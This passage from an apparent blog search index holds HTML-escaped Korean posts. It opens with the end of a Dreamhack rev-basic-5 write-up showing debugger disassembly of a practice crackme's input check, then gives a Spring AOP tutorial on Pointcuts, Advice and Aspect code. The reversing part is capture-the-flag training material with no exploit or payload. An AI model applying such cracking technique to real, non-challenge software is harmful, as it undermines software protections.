class=\"n\"\u003eqword\u003c/span\u003e \u003cspan class=\"n\"\u003eptr\u003c/span\u003e \u003cspan class=\"nl\"\u003eds\u003c/span\u003e\u003cspan class=\"p\"\u003e:[\u003c/span\u003e\u003cspan class=\"mf\"\u003e7FF\u003c/span\u003e\u003cspan class=\"mi\"\u003e6\u003c/span\u003e\u003cspan class=\"n\"\u003eA16C2210\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e     \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"mf\"\u003e00007FF\u003c/span\u003e\u003cspan class=\"mi\"\u003e6\u003c/span\u003e\u003cspan class=\"nl\"\u003eA16C2210\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Input : \u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e00007FF\u003c/span\u003e\u003cspan class=\"mi\"\u003e6\u003c/span\u003e\u003cspan class=\"n\"\u003eA16C1163\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003eE8\u003c/span\u003e \u003cspan class=\"mi\"\u003e58000000\u003c/span\u003e              \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003ecall\u003c/span\u003e \u003cspan class=\"n\"\u003echall5\u003c/span\u003e\u003cspan class=\"mf\"\u003e.7F\u003c/span\u003e\u003cspan class=\"n\"\u003eF6A16C11C0\u003c/span\u003e                \u003cspan class=\"o\"\u003e|\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e00007FF\u003c/span\u003e\u003cspan class=\"mi\"\u003e6\u003c/span\u003e\u003cspan class=\"n\"\u003eA16C1168\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"mi\"\u003e48\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e8\u003c/span\u003e\u003cspan class=\"n\"\u003eD5424\u003c/span\u003e \u003cspan class=\"mi\"\u003e20\u003c/span\u003e             \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003elea\u003c/span\u003e \u003cspan class=\"n\"\u003erdx\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"n\"\u003eqword\u003c/span\u003e \u003cspan class=\"n\"\u003eptr\u003c/span\u003e \u003cspan class=\"nl\"\u003ess\u003c/span\u003e\u003cspan class=\"p\"\u003e:[\u003c/span\u003e\u003cspan class=\"n\"\u003ersp\u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"mi\"\u003e20\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e           \u003cspan class=\"o\"\u003e|\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e00007FF\u003c/span\u003e\u003cspan class=\"mi\"\u003e6\u003c/span\u003e\u003cspan class=\"n\"\u003eA16C116D\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"mi\"\u003e48\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e8\u003c/span\u003e\u003cspan class=\"n\"\u003eD0D\u003c/span\u003e \u003cspan class=\"n\"\u003eA8100000\u003c/span\u003e         \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003elea\u003c/span\u003e \u003cspan class=\"n\"\u003ercx\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"n\"\u003eqword\u003c/span\u003e \u003cspan class=\"n\"\u003eptr\u003c/span\u003e \u003cspan class=\"nl\"\u003eds\u003c/span\u003e\u003cspan class=\"p\"\u003e:[\u003c/span\u003e\u003cspan class=\"mf\"\u003e7FF\u003c/span\u003e\u003cspan class=\"mi\"\u003e6\u003c/span\u003e\u003cspan class=\"n\"\u003eA16C221C\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e     \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"mf\"\u003e00007FF\u003c/span\u003e\u003cspan class=\"mi\"\u003e6\u003c/span\u003e\u003cspan class=\"nl\"\u003eA16C221C\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;%256s\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e00007FF\u003c/span\u003e\u003cspan class=\"mi\"\u003e6\u003c/span\u003e\u003cspan class=\"n\"\u003eA16C1174\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003eE8\u003c/span\u003e \u003cspan class=\"n\"\u003eA7000000\u003c/span\u003e              \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003ecall\u003c/span\u003e \u003cspan class=\"n\"\u003echall5\u003c/span\u003e\u003cspan class=\"mf\"\u003e.7F\u003c/span\u003e\u003cspan class=\"n\"\u003eF6A16C1220\u003c/span\u003e                \u003cspan class=\"o\"\u003e|\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e00007FF\u003c/span\u003e\u003cspan class=\"mi\"\u003e6\u003c/span\u003e\u003cspan class=\"n\"\u003eA16C1179\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"mi\"\u003e48\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e8\u003c/span\u003e\u003cspan class=\"n\"\u003eD4C24\u003c/span\u003e \u003cspan class=\"mi\"\u003e20\u003c/span\u003e             \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003elea\u003c/span\u003e \u003cspan class=\"n\"\u003ercx\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"n\"\u003eqword\u003c/span\u003e \u003cspan class=\"n\"\u003eptr\u003c/span\u003e \u003cspan class=\"nl\"\u003ess\u003c/span\u003e\u003cspan class=\"p\"\u003e:[\u003c/span\u003e\u003cspan class=\"n\"\u003ersp\u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"mi\"\u003e20\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e           \u003cspan class=\"o\"\u003e|\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e00007FF\u003c/span\u003e\u003cspan class=\"mi\"\u003e6\u003c/span\u003e\u003cspan class=\"n\"\u003eA16C117E\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003eE8\u003c/span\u003e \u003cspan class=\"mi\"\u003e7\u003c/span\u003e\u003cspan class=\"n\"\u003eDFEFFFF\u003c/span\u003e              \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003ecall\u003c/span\u003e \u003cspan class=\"n\"\u003echall5\u003c/span\u003e\u003cspan class=\"mf\"\u003e.7F\u003c/span\u003e\u003cspan class=\"n\"\u003eF6A16C1000\u003c/span\u003e                \u003cspan class=\"o\"\u003e|\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e00007FF\u003c/span\u003e\u003cspan class=\"mi\"\u003e6\u003c/span\u003e\u003cspan class=\"n\"\u003eA16C1183\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"mi\"\u003e85\u003c/span\u003e\u003cspan class=\"n\"\u003eC0\u003c/span\u003e                     \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003etest\u003c/span\u003e \u003cspan class=\"n\"\u003eeax\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"n\"\u003eeax\u003c/span\u003e                            \u003cspan class=\"o\"\u003e|\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e00007FF\u003c/span\u003e\u003cspan class=\"mi\"\u003e6\u003c/span\u003e\u003cspan class=\"n\"\u003eA16C1185\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"mi\"\u003e74\u003c/span\u003e \u003cspan class=\"mf\"\u003e0F\u003c/span\u003e                    \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003eje\u003c/span\u003e \u003cspan class=\"n\"\u003echall5\u003c/span\u003e\u003cspan class=\"mf\"\u003e.7F\u003c/span\u003e\u003cspan class=\"n\"\u003eF6A16C1196\u003c/span\u003e                  \u003cspan class=\"o\"\u003e|\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e00007FF\u003c/span\u003e\u003cspan class=\"mi\"\u003e6\u003c/span\u003e\u003cspan class=\"n\"\u003eA16C1187\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"mi\"\u003e48\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e8\u003c/span\u003e\u003cspan class=\"n\"\u003eD0D\u003c/span\u003e \u003cspan class=\"mi\"\u003e9\u003c/span\u003e\u003cspan class=\"n\"\u003eA100000\u003c/span\u003e         \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003elea\u003c/span\u003e \u003cspan class=\"n\"\u003ercx\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"n\"\u003eqword\u003c/span\u003e \u003cspan class=\"n\"\u003eptr\u003c/span\u003e \u003cspan class=\"nl\"\u003eds\u003c/span\u003e\u003cspan class=\"p\"\u003e:[\u003c/span\u003e\u003cspan class=\"mf\"\u003e7FF\u003c/span\u003e\u003cspan class=\"mi\"\u003e6\u003c/span\u003e\u003cspan class=\"n\"\u003eA16C2228\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e     \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"mf\"\u003e00007FF\u003c/span\u003e\u003cspan class=\"mi\"\u003e6\u003c/span\u003e\u003cspan class=\"nl\"\u003eA16C2228\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Correct\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e00007FF\u003c/span\u003e\u003cspan class=\"mi\"\u003e6\u003c/span\u003e\u003cspan class=\"n\"\u003eA16C118E\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003eFF15\u003c/span\u003e \u003cspan class=\"n\"\u003eF40F0000\u003c/span\u003e            \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003ecall\u003c/span\u003e \u003cspan class=\"n\"\u003eqword\u003c/span\u003e \u003cspan class=\"n\"\u003eptr\u003c/span\u003e \u003cspan class=\"nl\"\u003eds\u003c/span\u003e\u003cspan class=\"p\"\u003e:[\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003eputs\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e             \u003cspan class=\"o\"\u003e|\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e00007FF\u003c/span\u003e\u003cspan class=\"mi\"\u003e6\u003c/span\u003e\u003cspan class=\"n\"\u003eA16C1194\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003eEB\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"n\"\u003eD\u003c/span\u003e                    \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003ejmp\u003c/span\u003e \u003cspan class=\"n\"\u003echall5\u003c/span\u003e\u003cspan class=\"mf\"\u003e.7F\u003c/span\u003e\u003cspan class=\"n\"\u003eF6A16C11A3\u003c/span\u003e                 \u003cspan class=\"o\"\u003e|\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e00007FF\u003c/span\u003e\u003cspan class=\"mi\"\u003e6\u003c/span\u003e\u003cspan class=\"n\"\u003eA16C1196\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"mi\"\u003e48\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e8\u003c/span\u003e\u003cspan class=\"n\"\u003eD0D\u003c/span\u003e \u003cspan class=\"mi\"\u003e93100000\u003c/span\u003e         \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003elea\u003c/span\u003e \u003cspan class=\"n\"\u003ercx\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"n\"\u003eqword\u003c/span\u003e \u003cspan class=\"n\"\u003eptr\u003c/span\u003e \u003cspan class=\"nl\"\u003eds\u003c/span\u003e\u003cspan class=\"p\"\u003e:[\u003c/span\u003e\u003cspan class=\"mf\"\u003e7FF\u003c/span\u003e\u003cspan class=\"mi\"\u003e6\u003c/span\u003e\u003cspan class=\"n\"\u003eA16C2230\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e     \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"mf\"\u003e00007FF\u003c/span\u003e\u003cspan class=\"mi\"\u003e6\u003c/span\u003e\u003cspan class=\"nl\"\u003eA16C2230\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Wrong\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e00007FF\u003c/span\u003e\u003cspan class=\"mi\"\u003e6\u003c/span\u003e\u003cspan class=\"n\"\u003eA16C119D\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003eFF15\u003c/span\u003e \u003cspan class=\"n\"\u003eE50F0000\u003c/span\u003e            \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003ecall\u003c/span\u003e \u003cspan class=\"n\"\u003eqword\u003c/span\u003e \u003cspan class=\"n\"\u003eptr\u003c/span\u003e \u003cspan class=\"nl\"\u003eds\u003c/span\u003e\u003cspan class=\"p\"\u003e:[\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003eputs\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e             \u003cspan class=\"o\"\u003e|\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e00007FF\u003c/span\u003e\u003cspan class=\"mi\"\u003e6\u003c/span\u003e\u003cspan class=\"n\"\u003eA16C11A3\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"mi\"\u003e33\u003c/span\u003e\u003cspan class=\"n\"\u003eC0\u003c/span\u003e                     \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003exor\u003c/span\u003e \u003cspan class=\"n\"\u003eeax\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"n\"\u003eeax\u003c/span\u003e                             \u003cspan class=\"o\"\u003e|\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e00007FF\u003c/span\u003e\u003cspan class=\"mi\"\u003e6\u003c/span\u003e\u003cspan class=\"n\"\u003eA16C11A5\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"mi\"\u003e48\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e8\u003c/span\u003e\u003cspan class=\"n\"\u003eB8C24\u003c/span\u003e \u003cspan class=\"mi\"\u003e20010000\u003c/span\u003e       \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003emov\u003c/span\u003e \u003cspan class=\"n\"\u003ercx\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"n\"\u003eqword\u003c/span\u003e \u003cspan class=\"n\"\u003eptr\u003c/span\u003e \u003cspan class=\"nl\"\u003ess\u003c/span\u003e\u003cspan class=\"p\"\u003e:[\u003c/span\u003e\u003cspan class=\"n\"\u003ersp\u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"mi\"\u003e120\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e          \u003cspan class=\"o\"\u003e|\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e00007FF\u003c/span\u003e\u003cspan class=\"mi\"\u003e6\u003c/span\u003e\u003cspan class=\"n\"\u003eA16C11AD\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"mi\"\u003e48\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e33\u003c/span\u003e\u003cspan class=\"n\"\u003eCC\u003c/span\u003e                  \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003exor\u003c/span\u003e \u003cspan class=\"n\"\u003ercx\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"n\"\u003ersp\u003c/span\u003e                             \u003cspan class=\"o\"\u003e|\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e00007FF\u003c/span\u003e\u003cspan class=\"mi\"\u003e6\u003c/span\u003e\u003cspan class=\"n\"\u003eA16C11B0\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003eE8\u003c/span\u003e \u003cspan class=\"mi\"\u003e5\u003c/span\u003e\u003cspan class=\"n\"\u003eB010000\u003c/span\u003e              \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003ecall\u003c/span\u003e \u003cspan class=\"n\"\u003echall5\u003c/span\u003e\u003cspan class=\"mf\"\u003e.7F\u003c/span\u003e\u003cspan class=\"n\"\u003eF6A16C1310\u003c/span\u003e                \u003cspan class=\"o\"\u003e|\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e00007FF\u003c/span\u003e\u003cspan class=\"mi\"\u003e6\u003c/span\u003e\u003cspan class=\"n\"\u003eA16C11B5\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"mi\"\u003e48\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e81\u003c/span\u003e\u003cspan class=\"n\"\u003eC4\u003c/span\u003e \u003cspan class=\"mi\"\u003e30010000\u003c/span\u003e         \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003eadd\u003c/span\u003e \u003cspan class=\"n\"\u003ersp\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e130\u003c/span\u003e                             \u003cspan class=\"o\"\u003e|\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e00007FF\u003c/span\u003e\u003cspan class=\"mi\"\u003e6\u003c/span\u003e\u003cspan class=\"n\"\u003eA16C11BC\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"mf\"\u003e5F\u003c/span\u003e                       \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003epop\u003c/span\u003e \u003cspan class=\"n\"\u003erdi\u003c/span\u003e                                 \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"nl\"\u003erdi\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"sa\"\u003eL\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;샰櫚Ʊ\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e00007FF\u003c/span\u003e\u003cspan class=\"mi\"\u003e6\u003c/span\u003e\u003cspan class=\"n\"\u003eA16C11BD\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003eC3\u003c/span\u003e                       \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003eret\u003c/span\u003e                                     \u003cspan class=\"o\"\u003e|\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e다음과 같은 형태의 바이너리이다. 여기서 문자열을 입력 받고 정답임을 검사하는 함수의 위치는 00007FF6A16C117E 이다. 임의 값을 넣고 함수에 bp를 걸어 동작을 확인해보자.\u003c/p\u003e","title":"Dreamhack rev-basic-5 문제풀이"},{"content":"스프링은 코드의 반복 사용을 줄이고 효율적이며 결합도가 낮은 유연한 코드를 작성하길 원한다.\n우리는 코드를 작성할때 크게 중요한 부분은 아니지만 어떤 값을 확인하는 등 여러 부분에서 중복으로 쓰이는 코드가 있을 수 있다. 예를 들면 로그인 세션이 남아 있는지, 또는 어떤 로직에서의 에러에 대한 로그를 핸들링 할때 등등 상황은 매우 다양하다.\nOOP는 코드의 재활용성을 높이고 객체지향을 통해 코드 개발을 더 쉽게, 유지보수하기 편하게 하기 위해 시작되었다. 여기서 더 나아가 Spring에서는 AOP를 통해 비즈니스 로직 상에 중복적이지만 꼭 필요한 코드를 따로 묶어 외부로 분리해 메인 코드에 집중할 수 있게 해주는 기법이다.\n여기서 AOP는 따로 분리된 Aspect를 모아 모듈화 하는 기법이라고 보면 편할 것이다.\n위빙(Weaving) AOP에서 공통적으로 실행되는 기능을 직접적으로 호출하지 않고 위빙이라는 작업을 통해 호출하게 된다. 이런 위빙을 사용하기 위해서는 공통적으로 쓰이는 코드가 언제, 어디서 적용할 것인지 명시해야 한다. 어디서 적용할 것인지에 대한 설정을 Pointcut이라고 하고, 언제 적용할 것인지에 대해 Advice라 한다. 이 Pointcut과 Advice의 조합을 Aspect라고 한다.\n우선 진행하기 전에 필요한 사전 설정을 마무리 해보자.\n\u0026lt;properties\u0026gt; \u0026lt;java-version\u0026gt;11\u0026lt;/java-version\u0026gt; \u0026lt;org.springframework-version\u0026gt;5.3.17\u0026lt;/org.springframework-version\u0026gt; \u0026lt;org.aspectj-version\u0026gt;1.9.9.1\u0026lt;/org.aspectj-version\u0026gt; \u0026lt;org.slf4j-version\u0026gt;1.6.6\u0026lt;/org.slf4j-version\u0026gt; \u0026lt;/properties\u0026gt; \u0026lt;dependency\u0026gt; \u0026lt;groupId\u0026gt;org.aspectj\u0026lt;/groupId\u0026gt; \u0026lt;artifactId\u0026gt;aspectjrt\u0026lt;/artifactId\u0026gt; \u0026lt;version\u0026gt;${org.aspectj-version}\u0026lt;/version\u0026gt; \u0026lt;/dependency\u0026gt; \u0026lt;dependency\u0026gt; \u0026lt;groupId\u0026gt;org.aspectj\u0026lt;/groupId\u0026gt; \u0026lt;artifactId\u0026gt;aspectjweaver\u0026lt;/artifactId\u0026gt; \u0026lt;version\u0026gt;${org.aspectj-version}\u0026lt;/version\u0026gt; \u0026lt;/dependency\u0026gt; 위와 같이 aop사용을 위해 maven버전을 맞춰준다. 이후 servlet-context.xml에 다음과 같은 구문을 추가한다.\nxmlns:aop=\u0026#34;http://www.springframework.org/schema/aop\u0026#34; xsi:schemaLocation 에 http://www.springframework.org/schema/aop http://www.springframework.org/schema/aop/spring-aop-4.3.xsd\u0026#34; 추가 Pointcut(어디에) 어디에 공통관심 코드를 적용할 것인지에 대한 설정을 진행한다. 하나의 @Aspect 안에 여러개의 포인트 컷 설정이 가능하다.\n@Pointcut(\u0026#34;execution(com.test.test..)\u0026#34;) private void all() {} 위와 같이 포인트 컷이 적용될 위치를 지정해 주는데 지시자로 주로 많이 사용하는 excution 타입에 대해 간략하게 적어본다.\n리턴타입 지정 말 그대로 지정한 리턴타입에 적용한다.\n* //모든 리턴타입 혀용 void //리턴타입이 void인 메소드 !void //리턴타입이 void가 아닌 메소드 패키지 지정 Aspect 코드를 적용할 패키지를 지정한다.\ncom.test.domain //com.test.domain 패키지만 선택 com.test.domain.. //com.test.domain으로 시작하는 패키지 선택 클래스 지정\nuserVO //userVO 클래스만 선택 *VO //VO로 끝나는 클래스 testClass //클래스 이름 뒤에 +가 붙으면 해장 클래스로 부터 파생된 모든 자식 클래스까지 선택, 인터페이스 이름 뒤에 +가 붙으면 해당 인터페이스를 구현한 모든 클래스 선택 메소드 지정\n*(..) //모든 메소드 선택 update(..) //메소드명이 update로 시작하는 모든 메소드 조금 다르게 응용하자면 Advice어노테이션에 적용도 가능하다 예를 들면 @Around(value=\u0026ldquo;execution(* com.test.test..(..))\u0026rdquo;) 형식이다.\n5가지의 Advice(언제) Advice는 다섯가지 상황으로 적용할 수 있다. 각각 어노테이션으로 적용이 가능하며 그 목록은 다음과 같다.\n@Before //메서드 실행 전 @After //메서드 실행 후 @AfterRunning //실행 뒤 반환 후 @AfterThrowing //예외가 던져지는 시점 @Around //메서드 호출 전 Advice를 작성할떄 반드시 하나 이상의 Pointcut을 명시해야 한다.\n여기서 당면한 상황에 맞게 사용하면 될것 같다. 기본적인 예를 들어보면 다음과 같은 코드로 사용이 가능하다.\nAopTestAspect @Component @Aspect public class AopTestAspect { Logger logger = LoggerFactory.getLogger(AopTestAspect.class); @Around(\u0026#34;all()\u0026#34;) public Object AopTest(ProceedingJoinPoint joinPoint) throws Throwable{ Date date = new Date(); date.getTime(); Object ret = joinPoint.proceed(); logger.info(\u0026#34;AOP start - \u0026#34;+date.toString()); return ret; } @Pointcut(\u0026#34;@annotation(AopTest)\u0026#34;) private void all() {} } AopTest @Target(ElementType.METHOD) @Retention(RetentionPolicy.RUNTIME) public @interface AopTest {} HomeContoller (AOP 어노테이션 적용 부분) @AopTest @RequestMapping(value = \u0026#34;/aop\u0026#34;, method = RequestMethod.GET) public String aop() { logger.info(\u0026#34;aop controller start\u0026#34;); return \u0026#34;home\u0026#34;; } 여기서 AopTestAspect 부분은 이렇게 사용이 가능하다.\nAopTestAspect @Component @Aspect public class AopTestAspect { Logger logger = LoggerFactory.getLogger(AopTestAspect.class); @Around(\u0026#34;@annotation(AopTest)\u0026#34;) public Object AopTest(ProceedingJoinPoint joinPoint) throws Throwable{ Date date = new Date(); date.getTime(); Object ret = joinPoint.proceed(); logger.info(\u0026#34;AOP start - \u0026#34;+date.toString()); return ret; } } 위 코드는 @AopTest 어노테이션이 쓰인 곳에 시간을 로그로 찍는 AOP를 작성했다. 아래는 AOP 사용의 또다른 예제이다.\nAopTestAspect @Component @Aspect public class AopTestAspect { private static final Logger logger = LoggerFactory.getLogger(AopTestAspect.class); @Around(\u0026#34;all()\u0026#34;) public Object AopTest(ProceedingJoinPoint joinPoint) throws Throwable{ Date date = new Date(); date.getTime(); Object ret = joinPoint.proceed(); logger.info(\u0026#34;AOP start - \u0026#34;+date.toString()); return ret; } @Pointcut(\u0026#34;execution(* com.test.test.HomeController.*(..))\u0026#34;) private void all() {} } 위 코드는 com.test.test.HomeController 아래의 모든 메소드에 AOP를 적용한 코드이다. execution을 설명하자면 앞의 는 리턴타입 설정 부분인데 이는 모든 리턴타입을 의미한다. 띄어쓰기 후 com.test.test.HomeController.(..)은 com.test.test.Homcontroller의 위치에 모든 메소드에 AOP를 적용했다는 의미가 된다.\n위 코드는 역시 다음과 